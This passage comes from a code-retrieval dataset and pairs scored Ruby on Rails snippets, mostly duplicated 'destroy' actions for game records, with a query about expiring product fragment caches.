Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2232676b9d78f77cd33537010991cfec", "score": "0.76143193", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9ee3cb4b0848bd4008aab5ca94e9ae1a", "score": "0.7606075", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d93dce31389adae8c4b31904ad536216", "score": "0.7576014", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d93dce31389adae8c4b31904ad536216", "score": "0.7576014", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d93dce31389adae8c4b31904ad536216", "score": "0.7576014", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d93dce31389adae8c4b31904ad536216", "score": "0.7576014", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d93dce31389adae8c4b31904ad536216", "score": "0.7576014", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d93dce31389adae8c4b31904ad536216", "score": "0.7576014", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d93dce31389adae8c4b31904ad536216", "score": "0.7576014", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d93dce31389adae8c4b31904ad536216", "score": "0.7576014", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d93dce31389adae8c4b31904ad536216", "score": "0.7576014", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d93dce31389adae8c4b31904ad536216", "score": "0.7576014", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d93dce31389adae8c4b31904ad536216", "score": "0.7576014", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d93dce31389adae8c4b31904ad536216", "score": "0.7576014", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d93dce31389adae8c4b31904ad536216", "score": "0.7576014", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d93dce31389adae8c4b31904ad536216", "score": "0.7576014", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d93dce31389adae8c4b31904ad536216", "score": "0.7576014", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d93dce31389adae8c4b31904ad536216", "score": "0.7576014", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7e928beaf0e2d2e82319ce78a36adfac", "score": "0.7556627", "text": "def destroy\n @resource_game = Resource::Game.find(params[:id])\n @resource_game.destroy\n\n respond_to do |format|\n format.html { redirect_to resource_games_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "012c8017358fb0c85e886c1acf60ad5c", "score": "0.7517343", "text": "def destroy\n @game.destroy\n json_response(nil, :no_content)\n end", "title": "" }, { "docid": "35352ebfd8b7172eddaa52b122fa0282", "score": "0.7511988", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to :action => \"admin\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "89f8586c58a77df231ae42fdb6e4aff7", "score": "0.74709475", "text": "def destroy\n @mygame = Mygame.find(params[:id])\n @mygame.destroy\n\n respond_to do |format|\n format.html { redirect_to mygames_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "513512bd4b6f607b33b34a0b406a0fb5", "score": "0.7452809", "text": "def destroy\n # @game = Game.find(params[:id])\n @game = current_user.games.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "73b09df21502909ec1caa5c98dc3786b", "score": "0.74517936", "text": "def destroy\n @game.destroy\n\n render json: { notice: 'Game was successfully removed.' }\n end", "title": "" }, { "docid": "0f4445106384cdbfe484564b451da839", "score": "0.74379575", "text": "def destroy\n @game = Game.first(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "53a54f3021125dbd7896f9f8321992b3", "score": "0.7427986", "text": "def destroy\n @game = Game.find_by_key(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "8bd7da7f8c5b278d044f628a559ba8b1", "score": "0.7414312", "text": "def destroy\n @game.destroy\n render json: @game.as_json.merge(deleted_at: Time.now.utc.iso8601), status: 200\n end", "title": "" }, { "docid": "15e5e0be8de1365de3881d1fe04af7f1", "score": "0.7410548", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: \"Game was successfully deleted.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "244c82f57820b76ae173bd465ea7e9db", "score": "0.7406737", "text": "def destroy\n @game = current_session.games.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to current_session }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8e447be28f7aa107d200a92c0f807b4c", "score": "0.7403495", "text": "def destroy\n @html5game = Html5game.find(params[:id])\n @html5game.destroy\n\n respond_to do |format|\n format.html { redirect_to html5games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c4836ef87998a02adabfe7521ea88b7d", "score": "0.73882085", "text": "def destroy\n unless is_admin? then\n raise 'only admins can delete games'\n end\n \n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "eaa29ea547a450e3ee810160e90a4553", "score": "0.736524", "text": "def destroy\n @admin_game.destroy\n respond_to do |format|\n format.html { redirect_to admin_games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1d1fe890152ce9702557b118ff8fe376", "score": "0.73612297", "text": "def destroy\n @spreadapedia_game = SpreadapediaGames.find(params[:id])\n @spreadapedia_game.destroy\n\n respond_to do |format|\n format.html { redirect_to spreadapedia_games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d04571e668bb47225e03d6c50275650b", "score": "0.7359667", "text": "def destroy\r\n @game = Game.find(params[:id])\r\n @game.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to account_user_path(logged_in_user) }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "fc8d64523649f0b322ac972c0ab3149b", "score": "0.735016", "text": "def destroy\n @uploadgame = Uploadgame.find(params[:id])\n @uploadgame.destroy\n\n respond_to do |format|\n format.html { redirect_to uploadgames_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5df6fee9ca810bce789c3d760b23d81d", "score": "0.7345592", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c4397f0141386435937f378eb72e9ad2", "score": "0.7331669", "text": "def destroy\n @team_game = TeamGame.find(params[:id])\n @team_game.destroy\n\n respond_to do |format|\n format.html { redirect_to team_games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "39eb6058fd95f2ee3a745fccbaabdf02", "score": "0.7318362", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_all_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "78b44ea82ef35f34ab7840916e2c1749", "score": "0.73128027", "text": "def destroy\n @admin_game.destroy\n respond_to do |format|\n format.html { head :no_content }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "19e9e4e478881d02fee68c14f65801d2", "score": "0.73119545", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "19e9e4e478881d02fee68c14f65801d2", "score": "0.73111224", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "19e9e4e478881d02fee68c14f65801d2", "score": "0.73111224", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "19e9e4e478881d02fee68c14f65801d2", "score": "0.73111224", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "19e9e4e478881d02fee68c14f65801d2", "score": "0.73111224", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "19e9e4e478881d02fee68c14f65801d2", "score": "0.73111224", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "19e9e4e478881d02fee68c14f65801d2", "score": "0.73111224", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "19e9e4e478881d02fee68c14f65801d2", "score": "0.73111224", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "19e9e4e478881d02fee68c14f65801d2", "score": "0.73111224", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "19e9e4e478881d02fee68c14f65801d2", "score": "0.73111224", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "19e9e4e478881d02fee68c14f65801d2", "score": "0.73111224", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "19e9e4e478881d02fee68c14f65801d2", "score": "0.73111224", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "19e9e4e478881d02fee68c14f65801d2", "score": "0.73111224", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "19e9e4e478881d02fee68c14f65801d2", "score": "0.73111224", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "19e9e4e478881d02fee68c14f65801d2", "score": "0.73111224", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "19e9e4e478881d02fee68c14f65801d2", "score": "0.73111224", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "eaeea99a34daf45986118e917937f98c", "score": "0.7306886", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Spiel gelöscht!' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6f6efb86d066b757c55aa08f7feca251", "score": "0.7300369", "text": "def destroy\n @account_game = current_account.account_games.find(params[:id])\n @account_game.destroy\n\n respond_to do |format|\n format.html { redirect_to account_account_games_url(current_account) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "284f1e22a7d9db174d362bb1fb731020", "score": "0.7295513", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "cb6d8ff7239f8df70cc7ae8d1af658d2", "score": "0.72914904", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to admin_games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5f98515deb2e3ec821aed3503ea500e2", "score": "0.72913295", "text": "def destroy\n @game_round.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9a6c82e570bfcc8f44b7dc9522d3a643", "score": "0.7290763", "text": "def destroy\n @bettergame = Bettergame.find(params[:id])\n @bettergame.destroy\n\n respond_to do |format|\n format.html { redirect_to bettergames_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "01f19a78641aa538f2c4ca0a37b59631", "score": "0.72869146", "text": "def destroy\n @game_api.destroy\n respond_to do |format|\n format.html { redirect_to game_game_apis_url(game_id: @game.id), notice: 'Game api was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "45aa8e9ae01b4f6b3ab45b58900d8b33", "score": "0.72751105", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "45aa8e9ae01b4f6b3ab45b58900d8b33", "score": "0.72751105", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "45aa8e9ae01b4f6b3ab45b58900d8b33", "score": "0.72751105", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "45aa8e9ae01b4f6b3ab45b58900d8b33", "score": "0.72751105", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "45aa8e9ae01b4f6b3ab45b58900d8b33", "score": "0.72751105", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "45aa8e9ae01b4f6b3ab45b58900d8b33", "score": "0.72751105", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "45aa8e9ae01b4f6b3ab45b58900d8b33", "score": "0.72751105", "text": "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
7e1271bcdbe9bbdf07fdbc70b9f37b3a
A bit of hackey to expire the product fragment cache when a crop gets updated Crop belongs to image with touch => true enabled on save When image gets updated, it should touch each product record associated to it through the asset_resources table When an asset_resource gets updated, it should touch it's owner object. This seems ugly, but will work for now.
[ { "docid": "0d84cb817e4ccb332693bd90673a631f", "score": "0.65934855", "text": "def expire_products_cache\n self.asset_resources.map(&:touch)\n end", "title": "" } ]
[ { "docid": "10ee7808ffbc99a484870320ec0b9191", "score": "0.5983323", "text": "def update_cache_chain\n logger.debug \"DB ********** Touching PhotoGalleryElem #{id} ********** \"\n self.touch\n self.element.try(:update_cache_chain)\n self.image_elems.each {|elem| elem.try(:update_cache_chain) } if image_elems\n end", "title": "" }, { "docid": "1ae26a1ada8dcfd2a01bb287032241ae", "score": "0.59453195", "text": "def update_cache_chain\n logger.debug \"DB ********** Touching ImageElem #{id} ********** \"\n self.touch\n self.element.try(:update_cache_chain)\n end", "title": "" }, { "docid": "c1bbebf207b6064b9fe3ec37cecdc2d0", "score": "0.5940161", "text": "def update_cache; update_cache_on_create; end", "title": "" }, { "docid": "c1bbebf207b6064b9fe3ec37cecdc2d0", "score": "0.5940161", "text": "def update_cache; update_cache_on_create; end", "title": "" }, { "docid": "d695e18629f39daf4ace7b5ffba9ca8f", "score": "0.587596", "text": "def flush_asset_cache_if_necessary\n if settings_params.keys.include(:block_guest_comments)\n Asset.where(user_id: @user.id).touch_all\n end\n end", "title": "" }, { "docid": "a9bacd7a079ec221fe8245a3feada71a", "score": "0.5862387", "text": "def update_used_images\n ActionController::Base.new.expire_fragment(self)\n image_ids = self.used_images\n if !image_ids.nil?\n Picture.where(id: image_ids).each do |picture|\n picture.update_attributes(article_id: self.id)\n end\n end\n end", "title": "" }, { "docid": "1c10161e9caed98f1f640fcf73b42532", "score": "0.5830066", "text": "def after_save(resource)\n sweep_asset(resource)\n end", "title": "" }, { "docid": "e5b5af486e7650abd9e712f782387ef2", "score": "0.57417345", "text": "def after_create(product)\n expire_cache_for(product)\n end", "title": "" }, { "docid": "e5b5af486e7650abd9e712f782387ef2", "score": "0.5740573", "text": "def after_create(product)\n expire_cache_for(product)\n end", "title": "" }, { "docid": "e5b5af486e7650abd9e712f782387ef2", "score": "0.5740573", "text": "def after_create(product)\n expire_cache_for(product)\n end", "title": "" }, { "docid": "e5b5af486e7650abd9e712f782387ef2", "score": "0.5740573", "text": "def after_create(product)\n expire_cache_for(product)\n end", "title": "" }, { "docid": "e5b5af486e7650abd9e712f782387ef2", "score": "0.5740573", "text": "def after_create(product)\n expire_cache_for(product)\n end", "title": "" }, { "docid": "84baaa88e360de99b35de25bb4122fb0", "score": "0.57143086", "text": "def after_commit(record)\n expire_homepage_products_cache\n end", "title": "" }, { "docid": "09ad9e00b337095f4d9caf3d3e93b241", "score": "0.571426", "text": "def after_update(product)\n expire_cache_for(product)\n end", "title": "" }, { "docid": "09ad9e00b337095f4d9caf3d3e93b241", "score": "0.571426", "text": "def after_update(product)\n expire_cache_for(product)\n end", "title": "" }, { "docid": "09ad9e00b337095f4d9caf3d3e93b241", "score": "0.571426", "text": "def after_update(product)\n expire_cache_for(product)\n end", "title": "" }, { "docid": "09ad9e00b337095f4d9caf3d3e93b241", "score": "0.571426", "text": "def after_update(product)\n expire_cache_for(product)\n end", "title": "" }, { "docid": "09ad9e00b337095f4d9caf3d3e93b241", "score": "0.571426", "text": "def after_update(product)\n expire_cache_for(product)\n end", "title": "" }, { "docid": "09ad9e00b337095f4d9caf3d3e93b241", "score": "0.571426", "text": "def after_update(product)\n expire_cache_for(product)\n end", "title": "" }, { "docid": "7f8aa4d728d9c74acf40716f677ff4b2", "score": "0.5688051", "text": "def delete_cache_and_img_and_fingerprint\n self.delete_cache_and_img()\n \n # why do we bother clearing our fingerprint if the AssetOutput itself \n # is about to get deleted? If we don't, the after_commit handler will \n # rewrite the same cache we just deleted.\n self.fingerprint = ''\n end", "title": "" }, { "docid": "c39ce506be7ea7ccf640c5e38fef4dec", "score": "0.5629746", "text": "def bust_containing_resource_caches_rails5\n Spotlight::Search.where(thumbnail: self).or(Spotlight::Search.where(masthead: self)).find_each(&:touch)\n Spotlight::Page.where(thumbnail: self).find_each(&:touch)\n Spotlight::Exhibit.where(thumbnail: self).or(Spotlight::Exhibit.where(masthead: self)).find_each(&:touch)\n Spotlight::Contact.where(avatar: self).find_each(&:touch)\n Spotlight::Resources::Upload.where(upload: self).find_each(&:touch)\n end", "title": "" }, { "docid": "de8a3e5ea84faac17c2be8592f7052d9", "score": "0.5626716", "text": "def after_update\n return unless respond_to? :expire_fragment #expire_fragment is undefined if controller is nil\n\n #If photo is on the front page then expire the front page user photos fragment\n if @photo.user.photos.count > 0 && @photo.created_at >= 1.day.ago\n expire_fragment(:controller => 'main', :action => 'index', :part => 'photos')\n expire_fragment(:controller => 'users', :action => 'photos', :id => @photo.user.id, :part => \"photos_new_#{@photo.user_id}\")\n end\n expire_fragment(:controller => 'main', :action => 'updated', :part => 'photos')\n expire_fragment(:controller => 'users', :action => 'photos', :id => @photo.user, :part => \"photos_popular_#{@photo.user_id}\")\n \n expire_fragment(:controller=>\"photos\", :action=>\"show\", :id => @photo, :part => \"description_#{@photo.id}\")\n expire_fragment(:controller=>\"photos\", :action=>\"show\", :id => @photo, :part => \"google_map_#{@photo.id}\")\n\n after_save()\n end", "title": "" }, { "docid": "8baf350ae6d5c3fd7d64d0ffb962a832", "score": "0.5581657", "text": "def update\n return super\n ensure\n cache_store\n end", "title": "" }, { "docid": "57fbbdd91eab1d4cb60601b7b62f09f5", "score": "0.5573481", "text": "def delete_cache_and_img_and_fingerprint\n self.delete_cache_and_img\n\n # why do we bother clearing our fingerprint if the AssetOutput itself\n # is about to get deleted? If we don't, the after_commit handler will\n # rewrite the same cache we just deleted.\n self.fingerprint = ''\n end", "title": "" }, { "docid": "828d9abc210f4b358f937ae283206877", "score": "0.5561887", "text": "def cache_products!\n paginated(:elements, include_values: true, 'q.element_definition.title' => EcwidVoogSync::Application.config.app.voog.products_element_definition).map do |e|\n if e.values.external_id.present? && e.values.external_category_id.present?\n product = Product.find_or_initialize_by(ecwid_category_id: e.values.external_category_id, voog_element_id: e.id)\n product.attributes = {\n ecwid_id: e.values.external_id,\n voog_position: e.position,\n voog_synced_at: Time.now\n }\n product if product.save\n else\n Rails.logger.warn \"There has element '#{e.path}' in Voog where 'value.external_id' is not set!\"\n nil\n end\n end.compact\n end", "title": "" }, { "docid": "5a3bfee7fc641e2e4de39ab56ce06921", "score": "0.55466163", "text": "def file__after_update_trigger\r\n\r\nDir[File.join(FILES_DEST_FILE__THUMBS, \"#{self.id}_*\")].each{|f| File.delete(f); break} #will be regenerated\r\nif !@file_cache.blank? && !@file_cache[:tmp].blank?\r\n @file_cache[:path] = File.join(FILES_DEST_FILE, 'cache', @file_cache[:tmp])\r\nend\r\nif !@file_cache.blank? && @file_cache[:path] && File.exist?(@file_cache[:path])\r\n Dir[File.join(FILES_DEST_FILE, \"#{self.id}_*\")].each{|f| File.delete(f); break}\r\n dest = File.join(FILES_DEST_FILE, \"#{self.id}_#{self.file__name}\")\r\n logger.debug(\"=== CACHE [#{@file_cache[:path].inspect}] DEST [#{dest.inspect}]\")\r\n FileUtils.mv(@file_cache[:path], File.join(FILES_DEST_FILE, \"#{self.id}_#{self.file__name}\"))\r\nelse\r\n src = self.file__path\r\n if !File.exists?(src) # bad name\r\n Dir[File.join(FILES_DEST_FILE, \"#{self.id}_*\")].each{|f| File.rename(f, src); break}\r\n end\r\nend\r\n@file_cache = {}\r\nend", "title": "" }, { "docid": "cb44ccbb13517342d0080ba720497578", "score": "0.54925424", "text": "def po__after_update_trigger\r\n\r\nDir[File.join(FILES_DEST_PO__THUMBS, \"#{self.id}_*\")].each{|f| File.delete(f); break} #will be regenerated\r\nif !@po_cache.blank? && !@po_cache[:tmp].blank?\r\n @po_cache[:path] = File.join(FILES_DEST_PO, 'cache', @po_cache[:tmp])\r\nend\r\nif !@po_cache.blank? && @po_cache[:path] && File.exist?(@po_cache[:path])\r\n Dir[File.join(FILES_DEST_PO, \"#{self.id}_*\")].each{|f| File.delete(f); break}\r\n dest = File.join(FILES_DEST_PO, \"#{self.id}_#{self.po__name}\")\r\n logger.debug(\"=== CACHE [#{@po_cache[:path].inspect}] DEST [#{dest.inspect}]\")\r\n FileUtils.mv(@po_cache[:path], File.join(FILES_DEST_PO, 